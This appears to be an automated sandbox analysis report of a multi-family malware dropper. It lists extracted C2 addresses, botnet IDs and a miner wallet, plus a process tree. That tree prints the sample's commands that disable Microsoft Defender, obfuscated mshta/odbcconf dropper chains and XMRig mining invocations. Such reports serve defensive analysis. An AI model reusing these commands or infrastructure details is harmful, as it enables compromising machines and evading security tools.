Analysis
- max time kernel
52s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/10/2026, 16:32
General
- Target 2026-10-22_e05ad914721bbfd3d91b39549e9d24d6_elex_wannacry.exe
- Size 16.2MB
- Sample261023-t1xm2scx21
- SHA256 a79e8393324af32838f2312ff441f4bfc1c3ed7b4e0493f3354ba1b33ccc948f
Score
10/10
Malware Config
Extracted
Family
-
privateloader
C2
-
http://212.193.30.45/proxies.txt
-
http://212.193.30.29/server.txt
-
pastebin.com/raw/A7dSG1te
-
http://wfsdragon.ru/api/setStats.php
-
212.192.241.62
Extracted
Family
-
socelars
C2
-
http://www.wgqpw.com/
Extracted
Family
-
loaderbot
C2
-
http://blvckxxx.beget.tech/cmd.php
Attributes
-
miner_pool
pool.supportxmr.com:3333
-
user
8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU
Extracted
Family
-
redline
Botnet
-
@Tui
C2
-
185.215.113.44:23759
Attributes
-
auth_value
f4763503fd39f2719d3cbb75871d93ad
Extracted
Family
-
raccoon
Version
-
1.8.3-hotfix
Botnet
-
e01406cf9a804c70b4a66c9ff45ad42151469416
Attributes
-
url4cnc
http://91.219.236.207/borderxra
http://185.225.19.18/borderxra
http://91.219.237.227/borderxra
https://t.me/borderxra
rc4.plain
rc4.plain
Extracted
Family
-
redline
Botnet
-
media5test2
C2
-
65.108.69.168:16278
Attributes
-
auth_value
bcb30f07b23eb8b9705f520e153b3dac
Extracted
Family
-
amadey
Version
-
2.85
Botnet
-
54c1ae
C2
-
http://185.215.113.35
Attributes
-
install_dir
6829558ede
-
install_file
tkools.exe
-
strings_key
aa0bd6a5547b1594628920a66d03ad11
-
url_paths
/d2VxjasuwS/index.php
rc4.plain
Extracted
Family
-
redline
Botnet
-
user1
C2
-
23.88.118.113:23817
Attributes
-
auth_value
8fa01dd66c262df9908a74caff781e02
Extracted
Family
-
raccoon
Version
-
1.8.3-hotfix
Botnet
-
efc20640b4b1564934471e6297b87d8657db774a
Attributes
-
url4cnc
http://91.219.236.162/jredmankun
http://185.163.47.176/jredmankun
http://193.38.54.238/jredmankun
http://74.119.192.122/jredmankun
http://91.219.236.240/jredmankun
https://t.me/jredmankun
rc4.plain
rc4.plain
Signatures
- Family: Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Family: Fabookie
Fabookie is facebook account info stealer.
- Family: LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
- Family: NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- Family: PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- Family: Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detect Fabookie payload 1 IoCs
- Detects Amadey x86-bit Payload 7 IoCs
- Raccoon Stealer V1 payload 5 IoCs
- RedLine payload 2 IoCs
- Socelars payload 1 IoCs
- Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables built or packed with MPress PE compressor 34 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Detects executables packed with ASPack 18 IoCs
- Detects executables packed with unregistered version of .NET Reactor 2 IoCs
- Detects executables referencing many email and collaboration clients. Observed in information steale 5 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- LoaderBot executable 4 IoCs
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- XMRig Miner payload 28 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- ASPack v2.12-2.42 3 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 61 IoCs
- Loads dropped DLL 11 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses Odbcconf to proxy-execute a DLL 1 TTPs 3 IoCs
Odbcconf is a utility that configures database drivers. It can execute the REGSVR action to load and run a malicious DLL under a trusted binary.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 32 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
- Suspicious use of SetThreadContext 8 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 35 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 4 IoCs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 18 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 9 IoCs
Inno Setup installer
- Kills process with taskkill 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-22_e05ad914721bbfd3d91b39549e9d24d6_elex_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-22_e05ad914721bbfd3d91b39549e9d24d6_elex_wannacry.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0729A198\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22ecb6a1651c8.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ecb6a1651c8.exeSun22ecb6a1651c8.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-5R6K8.tmp\Sun22ecb6a1651c8.tmp"C:\Users\Admin\AppData\Local\Temp\is-5R6K8.tmp\Sun22ecb6a1651c8.tmp" /SL5="$A01EA,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ecb6a1651c8.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun223a7433a3e97921.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun223a7433a3e97921.exeSun223a7433a3e97921.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 3405⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun2229824092cc26e73.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun2229824092cc26e73.exeSun2229824092cc26e73.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22245ae1a7a6.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22245ae1a7a6.exeSun22245ae1a7a6.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 476 -s 3405⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22be4d7216.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22be4d7216.exeSun22be4d7216.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22be4d7216.exeC:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22be4d7216.exe5⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun2218a5ea839f51.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun2218a5ea839f51.exeSun2218a5ea839f51.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22ec1ed5f2.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ec1ed5f2.exeSun22ec1ed5f2.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpT: clOse ( crEATeobjeCT ( "wSCriPt.shell" ). ruN ( "CMd.eXE /c tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ec1ed5f2.exe"" >XRYl4PVMU5_X.exE && sTaRT XRYl4PVMU5_X.eXe /PdHVzFqz145~TvKdxZ & if """" =="""" for %n IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ec1ed5f2.exe"" ) do taskkill -iM ""%~NXn"" /F " , 0 , tRuE ) )5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c tYpE "C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ec1ed5f2.exe" >XRYl4PVMU5_X.exE && sTaRT XRYl4PVMU5_X.eXe /PdHVzFqz145~TvKdxZ& if "" =="" for %n IN ( "C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ec1ed5f2.exe" ) do taskkill -iM "%~NXn" /F6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\XRYl4PVMU5_X.exEXRYl4PVMU5_X.eXe /PdHVzFqz145~TvKdxZ7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpT: clOse ( crEATeobjeCT ( "wSCriPt.shell" ). ruN ( "CMd.eXE /c tYpE ""C:\Users\Admin\AppData\Local\Temp\XRYl4PVMU5_X.exE"" >XRYl4PVMU5_X.exE && sTaRT XRYl4PVMU5_X.eXe /PdHVzFqz145~TvKdxZ & if ""/PdHVzFqz145~TvKdxZ"" =="""" for %n IN ( ""C:\Users\Admin\AppData\Local\Temp\XRYl4PVMU5_X.exE"" ) do taskkill -iM ""%~NXn"" /F " , 0 , tRuE ) )8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c tYpE "C:\Users\Admin\AppData\Local\Temp\XRYl4PVMU5_X.exE" >XRYl4PVMU5_X.exE && sTaRT XRYl4PVMU5_X.eXe /PdHVzFqz145~TvKdxZ& if "/PdHVzFqz145~TvKdxZ" =="" for %n IN ( "C:\Users\Admin\AppData\Local\Temp\XRYl4PVMU5_X.exE" ) do taskkill -iM "%~NXn" /F9⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRiPT: ClOSe ( cREAteobjEcT( "WScRIpt.SHeLl" ). ruN ( "cmd /q/C echO | sET /p = ""MZ"" > cW5DHHSO.G & CoPy /y /b cW5DHhSO.G + HYNkuBz.IPN + P5ThA.n+ yHRpCJ.CV 0A0li3D.S1f & DEl HYNkubZ.iPN P5ThA.n YHRpCJ.CV CW5DHhSO.G& sTaRT odbcconf.exe /a { RegsVR .\0A0lI3D.S1f} " , 0 , TRUE ))8⤵
- Uses Odbcconf to proxy-execute a DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q/C echO | sET /p = "MZ" > cW5DHHSO.G & CoPy /y /b cW5DHhSO.G + HYNkuBz.IPN + P5ThA.n+ yHRpCJ.CV 0A0li3D.S1f & DEl HYNkubZ.iPN P5ThA.n YHRpCJ.CV CW5DHhSO.G& sTaRT odbcconf.exe /a { RegsVR .\0A0lI3D.S1f}9⤵
- Uses Odbcconf to proxy-execute a DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echO "10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /p = "MZ" 1>cW5DHHSO.G"10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf.exe /a { RegsVR .\0A0lI3D.S1f}10⤵
- Loads dropped DLL
- Uses Odbcconf to proxy-execute a DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Sun22ec1ed5f2.exe" /F7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun224bf68dae.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun224bf68dae.exeSun224bf68dae.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun224bf68dae.exeC:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun224bf68dae.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe7⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22149485b9.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22149485b9.exeSun22149485b9.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22149485b9.exe"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22149485b9.exe"C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22149485b9.exe"5⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun221c4095c3d.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun221c4095c3d.exeSun221c4095c3d.exe4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"5⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1736 -s 3727⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
